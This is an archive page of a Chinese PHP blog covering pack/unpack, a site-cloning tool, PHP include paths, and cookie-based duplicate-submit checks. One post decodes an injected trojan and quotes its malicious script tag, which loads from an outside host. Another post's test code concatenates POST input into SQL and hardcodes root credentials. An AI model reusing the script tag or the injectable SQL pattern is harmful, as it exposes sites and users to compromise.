存档

文章标签 ‘php’

PHP的pack与unpack

2014年9月30日 没有评论

PHP的pack和unpack主要用于把数据进行二进制化和反二进制化,一般用于网络传输或者存储数据时用,能一定程度降低数据长度。

pack函数的用法在PHP文档中已说明清楚了,针对具体的format格式不做说明,下面举例几种用法。

pack('L',1);//把数字1转换为无符号long型,占4字节
pack('c','a');//转换为二进制字符
pack('c3L','abc',1);//转换为3个字符和1个long型
pack('c*','aaaaaaaaaaaaaaaaaaaaaa'); //转换n个字符

通过上面代码在format后面可以跟数字表示转换几个,可以跟*表示之后的所有。

unpack函数的用法:

$data = pack('c3L2','abc',100,200);
unpack('c3str/Lnum1/Lnum2',$data); //得到array('str'=>'abc','num1'=>100,'num2'=>200);
分类: 高级民工 标签:

一个网站克隆的代码

2012年1月4日 没有评论

  这个玩意是一次朋友站点被恶意复制后作为反击而写的。功能比较简单指定规则后可以对目标网站进行复制。可以把内容采集到本地,可以通过代理访问目标站点,把目标站点内容传送给浏览者。代码运行在php下,通过网址 http://xxx.com/sitec/admin.php 可以进入一个简陋的管理后台,具体使用方式这里就不作详细说明了。
  如果对实现感兴趣请下载源码:Download
  如果有更好的想法以及对如何防御恶意站点复制欢迎在留言。

分类: 源码分享 标签:

一个php木马的解密

2011年3月30日 1 条评论

一个朋友的dede站点首页被插入
<script src=”<script src=”http://welcometotheglobalisorg.com/nl.php?p=1″></script>\n
怀疑是被黑了。通过分析日志发现了一条可疑的post提交记录

66.96.128.62 – - [28/Mar/2011:05:33:14 -0700] “POST /data/affection_gris.php HTTP/1.1″ 200 143 “-” “-”

文件affection_gris.php是加密后的文件。
文件源码与解密后的文件:code

google搜索后发现也有部分人遇到这个问题,检测日志也未发现最近几天有可疑的访问dede的记录,似乎affection_gris.php文件突然之间就出现在了网站目录里,所以怀疑是服务器问题,服务器使用的是dreamhost。。另外还遇到个奇怪的问题,我本来想把文件内容直接发布到这篇文章中,但提交的时候总是出现500错误,不知道是wordpress的问题,还是dreamhost服务器的原因。

分类: 高级民工 标签: ,

PHP包含中路径的确定

2011年3月23日 没有评论

  在php包含中存在一种相对特殊的包含方式,这种方式会根据情况选择实际的包含文件。

  比如有这样一个包含关系:a.php包含xx/b.php,xx/b.php包含同目录下的c.php(相对a.php的路径为xx/c.php)。入口是a.php,如果在a.php同目录下存在一个名为c.php的文件,那么此时真正包含的应该是位于a.php同目录下的c.php,而不是xx/c.php。实际上这种包含关系会首先以入口文件目录为工作目录查找是否存在包含的文件,如果存在则包含并退出,如果不存在则依次查找到含有具体包含代码的文件的目录,即这个例子中的xx/目录。

  一个更具体的例子:在wordpress中的wp-content/themes/default(如果存在default这个主题),在index.php中include ‘x.php’;并在这个目录下创建x.php,写入几个符号,再到wordpress的根目录下床x.php,访问主题你就会发现实际主题index.php包含的是wordpress根目录下载x.php而非主题中的x.php。

分类: 高级民工 标签: ,

php使用cookie防止重复提交是不安全的

2010年3月20日 没有评论

最近在做一php项目时遇到需要检查重复提交的情况,搜索了一下发现一种做法是使用cookie来防止,起初一看还觉得可行,但细想以下发现在某些情况下是无法达到目标的。
  cookie这个东西是属于客户端的,在设置了cookie后每次访问浏览器都会将设置的cookie发送给服务器。用cookie来防止重复提交的做法是在访问需要提交信息的页面时设置一个cookie值,在接收的页面验证这个cookie值是否满足规则。
如下面的测试代码:
test0.php

< ?php
sleep(2);//模拟有延迟比较大的情况
if($_COOKIE['onlypost'] == 't'){
	setcookie("onlypost", 'f'); 
	if (isset ( $_POST ['msg'] )) {
		mysql_connect ( 'localhost', 'root', 'root' );
		mysql_select_db ( 'test' );
		mysql_query ( "insert into t_msg(msg) values('" . $_POST ['msg'] . "')" );
	}
    echo 'submit ok';
}else{
	echo 'submit error!';
}
?>

test1.php

< ?php 
setcookie("onlypost", 't'); 
?>
<form action="test0.php" method="post">
msg:<input type="text" name="msg"/><input type="submit"/>
</form>

测试数据表

CREATE TABLE `t_msg` (
  `id` INT(11) NOT NULL AUTO_INCREMENT,
  `msg` VARCHAR(50) ,
  PRIMARY KEY (`id`)
)

在访问test1.php时,如果用户的延迟比较大,填写信息后连续两次或多次点击提交按钮。因为在第一次提交后服务器还没有返回信息重设cookie,浏览器接下来发送的请求数据包中cookie的值始终是一样。
阅读全文…

分类: 高级民工 标签: ,